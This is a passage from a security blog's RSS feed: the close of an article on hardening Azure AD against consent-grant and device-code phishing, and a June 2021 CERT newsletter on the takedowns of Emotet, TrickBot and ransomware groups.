<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion</h1>
<p style="text-align: justify;">The <strong>various phishing attacks</strong> presented in this article are based on a <strong>lack of hardening of Azure AD configurations</strong>. The implementation of <strong>a second authentication factor</strong>, while necessary for traditional phishing attacks, is not sufficient to protect against the other attacks presented. For attacks via device code authentication, administrators can implement <strong>conditional access policies</strong> to limit suspicious connections from devices not under the control of the organization. For illicit consent grant attacks, the most effective measure is to <strong>only allow applications approved by administrators</strong>.</p>
<p style="text-align: justify;">These <strong>three elements of hardening</strong>, although simple in appearance, can be the subject of <strong>real security projects to consider the existing configurations and usages</strong>, in particular by ensuring that existing applications are not blocked by these measures, and by <strong>implementing</strong> regular review and validation <strong>processes</strong> for new applications.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Bibliography</h3>
<p style="text-align: justify;"><a href="https://aadinternals.com/post/phishing/">https://aadinternals.com/post/phishing/</a></p>
<p style="text-align: justify;"><a href="https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/">https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/</a></p>
<p style="text-align: justify;"><a href="https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/">https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/</a></p>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview">https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview">https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent">https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent</a></p>
<p style="text-align: justify;"><a href="https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/">https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/</a></p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1">[1]</a> https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/">Illicit consent grant attacks targeting Azure and Office 365: still a threat?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Newsletter CERT-W, from the front line &#8211; June 2021</title>
		<link>https://www.riskinsight-wavestone.com/en/2021/06/newsletter-cert-w-june-2021/</link>
		
		<dc:creator><![CDATA[CERT-W]]></dc:creator>
		<pubDate>Thu, 24 Jun 2021 13:39:44 +0000</pubDate>
				<category><![CDATA[CERT Newsletter]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[CDT]]></category>
		<category><![CDATA[CERT-W]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[emotet]]></category>
		<category><![CDATA[front line]]></category>
		<category><![CDATA[indicators]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Newsletter]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[watch]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=16204</guid>

					<description><![CDATA[<p>DECRYPTION CYBER CRIMINAL NETWORK DISMANTELING The last 6 months, large-scale coordinated international actions have dismantled several of the biggest cybercriminal networks such as Emotet, Netwalker, Egregor or even Cl0p. Let’s have a closer look at some of them. What is&#160;Emotet?...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2021/06/newsletter-cert-w-june-2021/">Newsletter CERT-W, from the front line &#8211; June 2021</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<figure id="post-16207 media-16207" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-16207" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/CDT-WATCH.png" alt="" width="1621" height="455" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/CDT-WATCH.png 1621w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/CDT-WATCH-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/CDT-WATCH-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/CDT-WATCH-768x216.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/CDT-WATCH-1536x431.png 1536w" sizes="auto, (max-width: 1621px) 100vw, 1621px" /></figure>
<h1 style="text-align: center;"><strong>DECRYPTION</strong></h1>
<h2 style="text-align: center;">CYBER CRIMINAL NETWORK DISMANTELING</h2>
<p><strong>The last 6 months, large-scale coordinated international actions have dismantled several of the biggest cybercriminal networks such as Emotet, Netwalker, Egregor or even Cl0p. Let’s have a closer look at some of them.</strong></p>
<p><strong>What is&nbsp;Emotet?</strong></p>
<p>Emotet&nbsp;was originally a&nbsp;<strong>banking trojan,</strong> stealing emails and contact list, retrieving&nbsp;passwords on navigators and systems, spreading within the infected network.&nbsp;In&nbsp;2019,&nbsp;Emotet&nbsp;lost its banking module and became a&nbsp;<strong>dropper</strong> of malwares. The trojan used&nbsp;a&nbsp;<a href="https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation"><strong>botnet of 1.6 million machines</strong></a>&nbsp; to realize phishing campaign and install itself on victims’ machines.</p>
<p><strong>Why is&nbsp;Emotet called the “king of malware”?</strong></p>
<p>At the end of 2020,&nbsp;Emotet&nbsp;was identified as&nbsp;<a href="https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action"><strong>one of the most dangerous&nbsp;malwares</strong></a>. Additionally, being a dropper as well as a botnet,&nbsp;Emotet&nbsp;also&nbsp;served&nbsp;as a&nbsp;<strong>front&nbsp;door</strong>&nbsp;to many other malwares.&nbsp;It&nbsp;was used to drop malicious payloads directly onto the victims’ assets: for example,&nbsp;TrickBot&nbsp;was dropped onto the targeted machine which in turn, would drop&nbsp;<strong>Ryuk&nbsp;or Conti ransomware</strong>. According to Checkpoint Research,&nbsp;Emotet&nbsp;was at the top of the Global Threat Index in October 2020 and was linked to a&nbsp;<a href="https://blog.checkpoint.com/2021/01/07/december-2020s-most-wanted-malware-emotet-returns-as-top-malware-threat/"><strong>wave of ransomware attacks</strong></a>.&nbsp;According to CISA, the U.S. Cybersecurity &amp; Infrastructure Security Agency,&nbsp;Emotet&nbsp;infections cost is estimated at&nbsp;<a href="https://www.kaspersky.com/resource-center/threats/emotet"><strong>$1 million per incident</strong></a><strong>.</strong></p>
<p>&nbsp;</p>
<figure id="post-16210 media-16210" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-16210" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/emotet.png" alt="" width="877" height="720" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/emotet.png 877w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/emotet-233x191.png 233w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/emotet-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/emotet-768x631.png 768w" sizes="auto, (max-width: 877px) 100vw, 877px" /></figure>
<p style="text-align: center;"><em>Main TA542’s customer base, “The Malware As a Service EMOTET”, ANSSI 2021</em></p>
<p>&nbsp;</p>
<p>During several months, Europol used the help of Eurojust, France, Germany, United States of America and announced their successful dismantle of the Emotet network in January 2021.</p>
<p><strong>Does this dismantling&nbsp;mean&nbsp;the end of the&nbsp;malware?</strong></p>
<p>The end of one botnet actually <a href="https://info.phishlabs.com/blog/emotet-dismantled-trickbot-zloader-and-bazarloader-step-in"><strong>led to&nbsp;the rise of several others</strong></a>, such as&nbsp;TrickBot, which even though existed since 2016, replaced Emotet as one of the most well-established&nbsp;MaaS&nbsp;(Malware as a Service) not long after the events on January.</p>
<p>This turn of events might not be so surprising, as threat actors often pivot and change their tools along the way, whether by choice or by necessity as it was the case here. Taking one malware down would only force them to use another one. Yet, what is interesting is that&nbsp;<a href="https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/"><strong>TrickBot&nbsp;also suffered a dismantlement of its own</strong></a>, back in October 2020. In an attempt to disrupt one of the most used distributors of ransomware, Microsoft joined forces with other security teams to take down&nbsp;TrickBot&nbsp;servers. As you may have noticed, this was months before law-enforcement took down&nbsp;Emotet, and now&nbsp;<a href="https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/"><strong>TrickBot&nbsp;or other versions of this malware, still lives on</strong></a>. These actions only disrupted&nbsp;TrickBot&nbsp;activities for a few days, before going back to what&nbsp;it was and even&nbsp;<strong>overtaking&nbsp;Emotet&nbsp;dominance</strong>.</p>
<p>Moreover, TrickBot&nbsp;seems to be somehow connected to the&nbsp;<strong><a href="https://www.cybereason.com/threat-alert-new-trickbot-variants">Bazar</a></strong>&nbsp;malware (BazarLoader&nbsp;and&nbsp;BazarBackdoor), as some part of its infrastructure is shared with&nbsp;TrickBot&nbsp;and both show code similarities. This new toolset is now the most seen malware used to deploy&nbsp;Ryuk&nbsp;ransomware instead of the previous&nbsp;Emotet-TrickBot-Ryuk&nbsp;or&nbsp;TrickBot-Ryuk&nbsp;chain of infection. These changes might have to do with the previously mentioned&nbsp;dismantlements, or due to a new collaboration between threat actors.</p>
<p><strong>What about the people behind these groups?</strong></p>
<p>More recently, on June 4th,&nbsp;<a href="https://www.justice.gov/opa/pr/latvian-national-charged-alleged-role-transnational-cybercrime-organization"><strong>Alla&nbsp;Witte was charged on multiple counts</strong></a> for participating in&nbsp;TrickBot&nbsp;criminal activities. Is this arrest, serving as a warning with several hundreds of years of prison if convicted, going to change cybercriminals’ operations? A few months before that, the Ukrainian authorities cooperated with the French law enforcement to conduct&nbsp;<a href="https://blog.malwarebytes.com/ransomware/2021/02/egregor-ransomware-hit-by-arrests/"><strong>an arrest against Egregor members</strong></a>, while&nbsp;<a href="https://threatpost.com/netwalker-ransomware-suspect-charged/163405/"><strong>a Canadian tied to&nbsp;Netwalker&nbsp;ransomware was charged</strong>&nbsp;</a>by the police for distributing the malware. Last year was also marked by several other arrests of cybercriminals around the world. For instance,&nbsp;<a href="https://www.zdnet.com/article/europol-arrests-hackers-behind-infinity-black-hacker-group/"><strong>the arrest of members of the Infinity Black website&nbsp;</strong></a>selling user credentials, lead to the end of the website and the group altogether. On the other hand, the arrests mentioned regarding&nbsp;Netwalker&nbsp;and Egregor seem to concern ransomware affiliates. And as the operators are still free and collaborate with other affiliates, their ransomware continues being deployed around the world.&nbsp;Alla&nbsp;Witte’s case is different since she is suspected to be a malware developer for the&nbsp;TrickBot&nbsp;Group. While her possible conviction might slightly disrupt&nbsp;TrickBot, it seems like their operations still go on, as according to <a href="https://any.run/malware-trends/trickbot">the&nbsp;any.run&nbsp;website and its malware trend tracker, the trojan was last seen on June 16th, 2021</a>. Last but not least, <a href="https://www.bleepingcomputer.com/news/security/ukraine-arrests-clop-ransomware-gang-members-seizes-servers/">some mid-tier members of the Cl0p gang may have been arrested</a> mid-June in Ukraine even though it seems no core actor behind Cl0p were apprehended.</p>
<p><strong>What could be the long-term consequences of these takedown for the cybercriminal activities?</strong></p>
<p>It’s still early to draw meaningful conclusions on the consequences for cybercriminal activities with the recent arrests. Yesterday, June 16th, at the Geneva summit, U.S. <a href="https://www.zdnet.com/article/biden-and-putin-spar-over-cybersecurity-ransomware-at-geneva-summit/"><strong>President Joe Biden met with Russian President Vladimir Putin</strong></a>. One of the hot topics of discussions was the <strong>ransomware attacks on U.S. entities from Russian soil</strong>. Biden warned Putin that United States would not tolerate any other cyber-attacks, especially on 16 critical sectors. The <a href="https://www.zdnet.com/article/ransomware-russia-told-to-tackle-cyber-criminals-operating-from-within-its-borders/"><strong>G7</strong></a> and the <a href="https://www.zdnet.com/article/nato-series-of-cyberattacks-could-be-seen-as-the-same-threat-as-an-armed-attack/"><strong>NATO</strong></a> also stated that in order not to consider cyber-attacks as armed attacks, Russia should try to identify and disrupt ransomware organizations within its borders.</p>
<p>Even with the arrests of criminal gang members and cybersecurity talks at the presidential levels, <strong>some experts say there would be no or little impact on ransomware groups that will still operate with impunity</strong>. The near future will give hints about the possible evolution of the cyber-attacks landscape. On one hand, the rising of a broader international collaboration against cyber-criminal gangs which could lead to less opportunistic and lucrative attacks. On the other hand, growing tensions between two blocks: U.S.-Europe and Russia-China with possible sanctions from either side and more cyber espionage, supply-chain or state-sponsored attacks.</p>
<p>&nbsp;</p>
<h1 style="text-align: center;"><strong>CERT-W: FROM THE FRONT LINE</strong></h1>
<h2 style="text-align: center;">The First Responder Word</h2>
<figure id="post-16221 media-16221" class="align-center">
<figure id="post-16228 media-16228" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-16228" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/ng.jpg" alt="" width="936" height="638" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/ng.jpg 936w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/ng-280x191.jpg 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/ng-57x39.jpg 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/ng-768x523.jpg 768w" sizes="auto, (max-width: 936px) 100vw, 936px" /></figure>
</figure>
<h1></h1>
<p>&nbsp;</p>
<h1 style="text-align: center;"><strong>FOCUS TECH</strong></h1>
<h2 style="text-align: center;">Phishing</h2>
<p>Think like a cybercriminal and understand how a spear phishing campaign is built to avoid them!</p>
<p>The technical zoom of the month:</p>
<figure id="post-16215 media-16215" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-16215" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/image.png" alt="" width="973" height="1849" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/image.png 973w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/image-101x191.png 101w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/image-21x39.png 21w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/image-768x1459.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/image-808x1536.png 808w" sizes="auto, (max-width: 973px) 100vw, 973px" /></figure>
<p>&nbsp;</p>
<p style="text-align: center;"><strong>To learn more about this:</strong></p>
<figure id="post-16217 media-16217" class="align-center"><a href="https://www.proofpoint.com/us/resources/threat-reports/state-of-phish-infographic"><img loading="lazy" decoding="async" class="aligncenter wp-image-16217" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/learn.png" alt="" width="235" height="197" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/learn.png 462w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/learn-227x191.png 227w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/learn-46x39.png 46w" sizes="auto, (max-width: 235px) 100vw, 235px" /></a></figure>
<p>&nbsp;</p>
<h1 style="text-align: center;"><strong>Reading Of The Month</strong></h1>
<p style="text-align: center;">We recommend the short report “APT trends report Q1 2021”, which reviews the highlight events and findings observed by the Global Research and Analysis Team at Kaspersky during the Q1 2021 around the world.</p>
<figure id="post-16219 media-16219" class="align-center"><a href="https://securelist.com/apt-trends-report-q1-2021/101967/"><img loading="lazy" decoding="async" class="aligncenter wp-image-16219" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/read.jpg" alt="" width="248" height="154" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/read.jpg 415w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/read-308x191.jpg 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/read-63x39.jpg 63w" sizes="auto, (max-width: 248px) 100vw, 248px" /></a></figure>
<p>&nbsp;</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2021/06/newsletter-cert-w-june-2021/">Newsletter CERT-W, from the front line &#8211; June 2021</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
